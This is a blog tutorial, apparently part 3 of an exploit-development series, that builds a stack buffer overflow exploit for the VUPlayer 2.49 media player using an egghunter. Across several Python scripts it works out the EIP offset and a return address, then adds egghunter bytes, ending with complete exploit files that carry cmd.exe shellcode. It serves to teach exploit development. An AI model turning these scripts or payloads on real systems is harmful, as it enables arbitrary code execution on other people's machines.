Hey there! Today, we’re going to be using an egghunter to find shellcode on the stack. This will be our first glance at what’s categorized as “staged shellcode”, exciting! The target we’ll be exploiting is a media player called VUPlayer v2.49 (download it here) and you can read more about the original exploit from the Exploit-DB page. Okay, let’s get started on our first egghunter exploit!

First, as usual, we’ll need to see how we can crash the target program. VUPlayer is vulnerable to a stack buffer overflow when it parses a “.pls” file. A vulnerability like this would typically be found through a file format fuzzer (more on that in later tutorials). Let’s generate a large buffer and stuff it into a “.pls” file. We can write a Python script to do all of this for us:

vuplayer_poc1.py

BUF_SIZE = 2000 # Set a consistent total buffer size crash = "A" * BUF_SIZE # Generate a large buffer of A's buf = crash # Store into buffer for crash try : f = open ( "C: \\ payload.pls" , "wb" ) # Exploit output will be written to C directory f . write ( buf ) # Write entirety of buffer out to file f . close () # Close file print "

VUPlayer Egghunter Stack Buffer Overflow Exploit" print "

Exploit written successfully!" print "Buffer size: " + str ( len ( buf )) + "

" # Buffer size sanity check to ensure there's nothing funny going on except Exception , e : print "

Error! Exploit could not be generated, error details follow:

" print str ( e ) + "

"

As you can see, we wrote a script to generate a large A buffer then stuff it into a file called “payload.pls” which will be written out to the C directory. Run the script, start up VUPlayer and then drag + drop the payload file into the media player. It crashed! There wasn’t any helpful error box this time so I’m omitting the screenshot of it being crashed. Awesome, now let’s attach a debugger and confirm that EIP was overwritten in the first step of our exploit development process.

Step 1: Attach debugger and confirm vulnerability

Alright, let’s open VUPlayer with Immunity Debugger and hit Run (F9).

Immunity will pop up a few warning message boxes about possible self-modifying code, just hit okay to close them and continue on.

Let’s drag and drop the crashing payload file again and…

We have A’s in our EIP! That’s great, we can confirm that we have a function return pointer overwrite. Let’s generate a pattern now and see if we can discover the EIP offset.

Step 2: Find EIP offset and confirm control over EIP value

Generate a pattern buffer using the following Mona command so we can add it to our Python script:

!mona pc 2000

Go into your logs folder and find the pattern.txt file, copy and paste the contents into the “crash” variable of your Python script:

vuplayer_poc2.py

BUF_SIZE = 2000 # Set a consistent total buffer size # Store generated pattern in crash variable crash = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co" buf = crash # Place pattern into buffer try : f = open ( "C: \\ payload.pls" , "wb" ) # Exploit output will be written to C directory f . write ( buf ) # Write entirety of buffer out to file f . close () # Close file print "

VUPlayer Egghunter Stack Buffer Overflow Exploit" print "

Exploit written successfully!" print "Buffer size: " + str ( len ( buf )) + "

" # Buffer size sanity check to ensure there's nothing funny going on except Exception , e : print "

Error! Exploit could not be generated, error details follow:

" print str ( e ) + "

"

Run the script, go into the C directory to dig out the payload.pls file. Restart the program in Immunity Debugger (Ctrl-F2), run it (F9) and drag + drop the file.

Looks like we’ve got a pattern buffer in EIP! We should now be able to use Mona to find our EIP offset using the following command:

!mona po 0x68423768

Aha, looks like the offset is 1012 bytes into our buffer. We’ll update our Python script to test out if this is the correct EIP offset by trying to load 0xdeadbeef into EIP:

vuplayer_poc3.py

import struct BUF_SIZE = 2000 # Set a consistent total buffer size junk = " \x41 " * 1012 # 1012 bytes to hit EIP eip = struct . pack ( "<L" , 0xdeadbeef ) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll exploit = junk + eip # Use junk padding to get to EIP overwrite fill = " \x43 " * ( BUF_SIZE - len ( exploit )) # Calculate number of filler bytes to use (C) buf = exploit + fill # Combine everything together for exploitation try : f = open ( "C: \\ payload.pls" , "wb" ) # Exploit output will be written to C directory f . write ( buf ) # Write entirety of buffer out to file f . close () # Close file print "

VUPlayer Egghunter Stack Buffer Overflow Exploit" print "

Exploit written successfully!" print "Buffer size: " + str ( len ( buf )) + "

" # Buffer size sanity check to ensure there's nothing funny going on except Exception , e : print "

Error! Exploit could not be generated, error details follow:

" print str ( e ) + "

"

Run the script and place the payload file onto VUPlayer after restarting + starting it in the debugger:

We have deadbeef! Alright, so far so good. Let’s get onto the next step where we’ll be introduced to the egghunter.

Step 3: Finding EIP address to JMP ESP and egghunter intro

We need to see if we can load an address into EIP now that will start executing the code we place on the stack. Issue the following Mona command to find an ideal address to get stack execution after restarting and starting VUPlayer in Immunity Debugger:

!mona jmp -r esp

Grab the address for the one located in kernel32.dll:

Then update your Python script with it and add some mock interrupt shellcode for testing:

vuplayer_poc4.py

import struct BUF_SIZE = 2000 # Set a consistent total buffer size junk = " \x41 " * 1012 # 1012 bytes to hit EIP eip = struct . pack ( "<L" , 0x7c836a78 ) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll nops = " \x90 " * 24 # Preface shellcode with NOP sled shellcode = " \xCC " * 35 # Mock shellcode INT instructions exploit = junk + eip + nops + shellcode # Padding to get to EIP, into NOP sled and shellcode fill = " \x43 " * ( BUF_SIZE - len ( exploit )) # Calculate number of filler bytes to use (C) buf = exploit + fill # Combine everything together for exploitation try : f = open ( "C: \\ payload.pls" , "wb" ) # Exploit output will be written to C directory f . write ( buf ) # Write entirety of buffer out to file f . close () # Close file print "

VUPlayer Egghunter Stack Buffer Overflow Exploit" print "

Exploit written successfully!" print "Buffer size: " + str ( len ( buf )) + "

" # Buffer size sanity check to ensure there's nothing funny going on except Exception , e : print "

Error! Exploit could not be generated, error details follow:

" print str ( e ) + "

"

Run the updated Python script and drop the new payload into VUPlayer:

Great! We hit the mock shellcode. Now we could go ahead and substitute in our real shellcode but, let’s add a little challenge. What if we didn’t have enough space to host more than 32 bytes of code on the stack? Also, what if we didn’t have the ability to jump to other registers? It would appear like we’d be out of luck, how can we execute a larger shellcode payload if there isn’t enough space for it? Well, we’d have to place it somewhere else. Alright, I guess we could host it elsewhere, but then how would we get to it if we can’t jump to it? Sometimes you’ll be faced with situations that have these exact same challenges, where you’ll have limited space to work with and you’ll need to have other ways of locating shellcode that don’t rely on jump techniques.

The answer to these challenges is that we need construct a very small assembly language program (like 32 bytes small), which will be able to search for and execute our shellcode. This code could be programmed to be on the lookout for a unique tag or “egg” and when it finds this tag, then it would know it found the shellcode (shell, eggs, get it? har har). This is the basis for the egghunter, which we’ll implement in the next step.

Step 4: Building the egghunter

The egghunter code we’ll be using is based on the NtDisplayString technique. You can read the assembly code for the egghunter in the section below:

6681 CAFF0F or dx , 0x0fff ; [0x0] loop through pages in memory by adding 4095 or PAGE_SIZE-1 to EDX 42 inc edx ; [0x5] loop through every single address in the memory page 52 push edx ; push EDX value (current address) onto the stack to save for future reference 6 A43 push byte + 0x43 ; push value 0x43 (syscall ID for NtDisplayString) onto the stack 58 pop eax ; pop value 0x43 into EAX to use as param for syscall CD2E int 0x2e ; send interrupt to call NtDisplayString kernel function 3 C05 cmp al , 0x5 ; compare low order byte of EAX (AL) to value 0x5 (5 = access violation) 5 A pop edx ; restore EDX from the stack 74 EF jz 0x0 ; if the ZF flag was set by CMP instruction, there was an access violation, ; invalid page so we loop back to top [0x0] B874303077 mov eax , 0x77303074 ; this is the tag (77 30 30 74 = w00t) 8 BFA mov edi , edx ; set EDI to current address pointer in EDX for use in SCASD instruction AF scasd ; compares value in EAX to DWORD value addressed in EDI (current address pointer) ; then set EFLAGS register accordingly after SCASD comparison 75 EA jnz 0x5 ; if the address is not zero, we did not find the egg and we should jump back to [0x5] where we'll go up by 1 AF scasd ; otherwise, we have a zero flag and we did find the egg. SCASD to compare DWORD in EDI to EAX again (check that second w00t is there) 75 E7 jnz 0x5 ; if no second w00t found, we don't have the right egg and we should jump back to [0x5] where we'll go up by 1 FFE7 jmp edi ; otherwise, we have a zero flag and we found the second part of the egg. SCASD means EDI now points to shellcode, jump to it.

Basically, how it works is that it loops through pages of memory and systematically uses data from each address it finds to make a system call to NtDisplayString. It then compares this data value to the unique tag/egg we give it (e.g. “w00tw00t”). If it finds that the data matches the tag, then it jumps to that address and begins executing shellcode. The egg is successfully hunted! This is why it is categorized as “staged shellcode”, since it works by breaking the shellcode exection into an initial stage where we search for the shellcode and a final stage where we begin execution.

Let’s see how this works in our updated Python script:

vuplayer_poc5.py

import struct BUF_SIZE = 2000 # Set a consistent total buffer size junk = " \x41 " * 1012 # 1012 bytes to hit EIP eip = struct . pack ( "<L" , 0x7c836a78 ) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll nops = " \x90 " * 24 # Preface shellcode with NOP sled # NtDisplayString Egghunter egghunter = " \x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8 " egghunter += "w00t" # Our tag is going to be "w00t" egghunter += " \x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7 " egg = "w00tw00t" # Tag x 2 will be our egg, egghunter code will search for this to find shellcode shellcode = " \xCC " * 300 # Mock shellcode with INT instructions # Place the egghunter after EIP overwrite so we can execute it and search for the egg + shellcode exploit = junk + eip + egghunter + egg + nops + shellcode fill = " \x43 " * ( BUF_SIZE - len ( exploit )) # Calculate number of filler bytes to use (C) buf = exploit + fill # Combine everything together for exploitation try : f = open ( "C: \\ payload.pls" , "wb" ) # Exploit output will be written to C directory f . write ( buf ) # Write entirety of buffer out to file f . close () # Close file print "

VUPlayer Egghunter Stack Buffer Overflow Exploit" print "

Exploit written successfully!" print "Buffer size: " + str ( len ( buf )) + "

" # Buffer size sanity check to ensure there's nothing funny going on except Exception , e : print "

Error! Exploit could not be generated, error details follow:

" print str ( e ) + "

"

Go ahead and run the script to generate our newest payload file. Drag and drop it into VUPlayer with the debugger attached and BAM! Looks like we hit our mock interrupt shellcode!

You can even see the egg in the code yourself by taking a look at the stack, w00t!

You can also find it by issuing the following Mona command:

!mona find -s "w00tw00t"

If you’d like to dig deeper and actually see, step-by-step, the egghunter code doing its job then modify the Python script to include a “pause_code” variable that will allow you to pause execution right before the egghunter code starts working:

vuplayer_poc5.py

import struct BUF_SIZE = 2000 # Set a consistent total buffer size junk = " \x41 " * 1012 # 1012 bytes to hit EIP eip = struct . pack ( "<L" , 0x7c836a78 ) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll nops = " \x90 " * 24 # Pause code execution and let us step through the egghunter code using F7 (Step into) # Execution will be interrupted and then the user can step through a few NOPs # before getting to the egghunter code pause_code = " \xCC\x90\x90\x90 " # NtDisplayString Egghunter egghunter = " \x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8 " egghunter += "w00t" # Our tag is going to be "w00t" egghunter += " \x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7 " egg = "w00tw00t" # Tag x 2 will be our egg, egghunter code will search for this to find shellcode shellcode = " \xCC " * 300 # Mock shellcode with INT instructions # Place the egghunter after EIP overwrite so we can execute it and search for the egg + shellcode # Add pause code so we can step through the egghunter code exploit = junk + eip + pause_code + egghunter + egg + nops + shellcode fill = " \x43 " * ( BUF_SIZE - len ( exploit )) # Calculate number of filler bytes to use (C) buf = exploit + fill # Combine everything together for exploitation try : f = open ( "C: \\ payload.pls" , "wb" ) # Exploit output will be written to C directory f . write ( buf ) # Write entirety of buffer out to file f . close () # Close file print "

VUPlayer Egghunter Stack Buffer Overflow Exploit" print "

Exploit written successfully!" print "Buffer size: " + str ( len ( buf )) + "

" # Buffer size sanity check to ensure there's nothing funny going on except Exception , e : print "

Error! Exploit could not be generated, error details follow:

" print str ( e ) + "

"

When you run this script and drag/drop the payload into VUPlayer while the debugger is attached, execution will pause just before the egghunter code, then after stepping through a few NOPs (F7 or Debug –> Step into) you’ll land in the egghunter code and you can see exactly what it’s doing:

You’ll notice that the registers in the “Registers” panel will change and update in response to the egghunter code. Eventually it’ll go into its search loop, so feel free to hit the F9 button to Run the program and see the egghunter conclude. After your curiosity has been satisfied, we won’t be needing the pause_code variable anymore so we’ll remove it in future scripts.

Now, let’s see what happens if we move the shellcode by an arbitrary amount, we’ll place the variable “badcode” in between the egghunter and the shellcode then see if it still works:

vuplayer_poc5.py

import struct BUF_SIZE = 2000 # Set a consistent total buffer size junk = " \x41 " * 1012 # 1012 bytes to hit EIP eip = struct . pack ( "<L" , 0x7c836a78 ) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll nops = " \x90 " * 24 # NtDisplayString Egghunter egghunter = " \x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8 " egghunter += "w00t" # Our tag is going to be "w00t" egghunter += " \x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7 " egg = "w00tw00t" # Tag x 2 will be our egg, egghunter code will search for this to find shellcode badcode = " \x42 " * 248 # Demonstrate that exploit will still work even if shellcode moves around shellcode = " \xCC " * 300 # Mock shellcode with INT instructions # Place the egghunter after EIP overwrite so we can execute it and search for the egg + shellcode # Add badcode section to show that egghunter will still find the shellcode if it moves exploit = junk + eip + egghunter + badcode + egg + nops + shellcode fill = " \x43 " * ( BUF_SIZE - len ( exploit )) # Calculate number of filler bytes to use (C) buf = exploit + fill # Combine everything together for exploitation try : f = open ( "C: \\ payload.pls" , "wb" ) # Exploit output will be written to C directory f . write ( buf ) # Write entirety of buffer out to file f . close () # Close file print "

VUPlayer Egghunter Stack Buffer Overflow Exploit" print "

Exploit written successfully!" print "Buffer size: " + str ( len ( buf )) + "

" # Buffer size sanity check to ensure there's nothing funny going on except Exception , e : print "

Error! Exploit could not be generated, error details follow:

" print str ( e ) + "

"

Run the script and you’ll see that it still works! That’s the beauty of the egghunter, no matter where our shellcode is, the egghunter should be able to find and execute it.

Now let’s add in some real shellcode and see if we can get a command prompt cmd.exe to pop:

vuplayer_poc6.py

import struct BUF_SIZE = 2000 # Set a consistent total buffer size junk = " \x41 " * 1012 # 1012 bytes to hit EIP eip = struct . pack ( "<L" , 0x7c836a78 ) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll nops = " \x90 " * 24 # NtDisplayString Egghunter egghunter = " \x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8 " egghunter += "w00t" # Our tag is going to be "w00t" egghunter += " \x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7 " egg = "w00tw00t" # Tag x 2 will be our egg, egghunter code will search for this to find shellcode badcode = " \x42 " * 248 # Demonstrate that exploit will still work even if shellcode moves around # Command prompt (cmd.exe) shellcode + process exit (195 bytes) shellcode = " \xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B " shellcode += " \x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9 " shellcode += " \xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C " shellcode += " \x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0 " shellcode += " \x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B " shellcode += " \x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72 " shellcode += " \x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03 " shellcode += " \xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47 " shellcode += " \x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F " shellcode += " \x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72 " shellcode += " \x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66 " shellcode += " \x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14 " shellcode += " \x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE " shellcode += " \x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53 " shellcode += " \xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24 " shellcode += " \x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51 " shellcode += " \xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE " shellcode += " \x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45 " shellcode += " \x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54 " shellcode += " \x24\x20\x57\xFF\xD0 " # Place the egghunter after EIP overwrite so we can execute it and search for the egg + shellcode # Add badcode section to show that egghunter will still find the shellcode if it moves exploit = junk + eip + egghunter + badcode + egg + nops + shellcode fill = " \x43 " * ( BUF_SIZE - len ( exploit )) # Calculate number of filler bytes to use (C) buf = exploit + fill # Combine everything together for exploitation try : f = open ( "C: \\ payload.pls" , "wb" ) # Exploit output will be written to C directory f . write ( buf ) # Write entirety of buffer out to file f . close () # Close file print "

VUPlayer Egghunter Stack Buffer Overflow Exploit" print "

Exploit written successfully!" print "Buffer size: " + str ( len ( buf )) + "

" # Buffer size sanity check to ensure there's nothing funny going on except Exception , e : print "

Error! Exploit could not be generated, error details follow:

" print str ( e ) + "

"

Do the usual dance, run the script, drag and drop the payload file into VUPlayer with debugger attached and…

Hooray! We did it! We successfully made do with limited space and an unpredictable shellcode location. I hope this technique will serve as a good reminder that even when the odds seem against you, there exists ways of coming out ahead and obtaining arbitrary code execution.

For a little shortcut method, you can issue the following Mona command to generate egghunter code for you, complete with tag:

!mona egg

Then, just copy and paste it into your script:

vuplayer_poc7.py

import struct BUF_SIZE = 2000 # Set a consistent total buffer size junk = " \x41 " * 1012 # 1012 bytes to hit EIP eip = struct . pack ( "<L" , 0x7c836a78 ) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll nops = " \x90 " * 24 # NtDisplayString Egghunter egghunter = " \x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74 " egghunter += " \xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7 " egg = "w00tw00t" # Tag x 2 will be our egg, egghunter code will search for this to find shellcode # Command prompt (cmd.exe) shellcode + process exit (195 bytes) shellcode = " \xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B " shellcode += " \x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9 " shellcode += " \xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C " shellcode += " \x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0 " shellcode += " \x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B " shellcode += " \x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72 " shellcode += " \x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03 " shellcode += " \xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47 " shellcode += " \x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F " shellcode += " \x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72 " shellcode += " \x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66 " shellcode += " \x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14 " shellcode += " \x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE " shellcode += " \x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53 " shellcode += " \xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24 " shellcode += " \x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51 " shellcode += " \xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE " shellcode += " \x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45 " shellcode += " \x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54 " shellcode += " \x24\x20\x57\xFF\xD0 " # Place the egghunter after EIP overwrite so we can execute it and search for the egg + shellcode exploit = junk + eip + egghunter + egg + nops + shellcode fill = " \x43 " * ( BUF_SIZE - len ( exploit )) # Calculate number of filler bytes to use (C) buf = exploit + fill # Combine everything together for exploitation try : f = open ( "C: \\ payload.pls" , "wb" ) # Exploit output will be written to C directory f . write ( buf ) # Write entirety of buffer out to file f . close () # Close file print "

VUPlayer Egghunter Stack Buffer Overflow Exploit" print "

Exploit written successfully!" print "Buffer size: " + str ( len ( buf )) + "

" # Buffer size sanity check to ensure there's nothing funny going on except Exception , e : print "

Error! Exploit could not be generated, error details follow:

" print str ( e ) + "

"

And blam! You’ve got an egghunter ready to go! I know I could have just told you about this command earlier, but it’s important to do things the good old fashioned way first before turning to automation. You’ll learn a lot more and be less reliant on the tools of others. Or else, you risk turning into a… dare I say it… script kiddie? :0

Lessons learned and reflections

So what did we learn?

Well, we learned that sometimes you need to get creative when you’re exploiting software (most of the time actually).

There exists all kinds of strange and exotic technical methods of getting you from A to Z. This method had us working around the limitation of small buffer space and inability to use jump methods by coding a very small assembly language program to search memory for our shellcode’s unique tag or “egg” (w00t!), then executing it.

Knowing assembly language is AWESOME, learn to love it if you’re an aspiring exploit developer. Without knowing it, we wouldn’t have been able to understand the egghunter code.



That’s all pretty neat stuff! Although, this method has some limitations. For example:

The code we wrote will not work on a 64-bit system.

It also won’t work if we don’t have at least 32 bytes of space to start playing with right off the bat (i.e. by using a JMP ESP instruction with a small buffer space after it or something to that effect).

Finally, you need to have that unique tag prepended to your shellcode.

Nevertheless, it’s still a very interesting way of working with limited resources!

Feedback and onward to Part 4

That’s it for this post. I’m always looking to improve my writing and explanations, so if you found anything to be unclear or you have some recommendations then send me a message on Twitter/follow (@shogun_lab) or send an email to steven@shogunlab.com. RSS feed can be found here. If you want to dive even deeper into the egghunter hole, then keep reading to the end where I’ll leave you some excellent resources. There even more egghunter techniques to be learned.

Happy hacking everyone and see you next week for Part 4!

お疲れ様でした。

UPDATE: Part 4 is posted here.

Locating shellcode with Egghunter resources

Tutorials

Research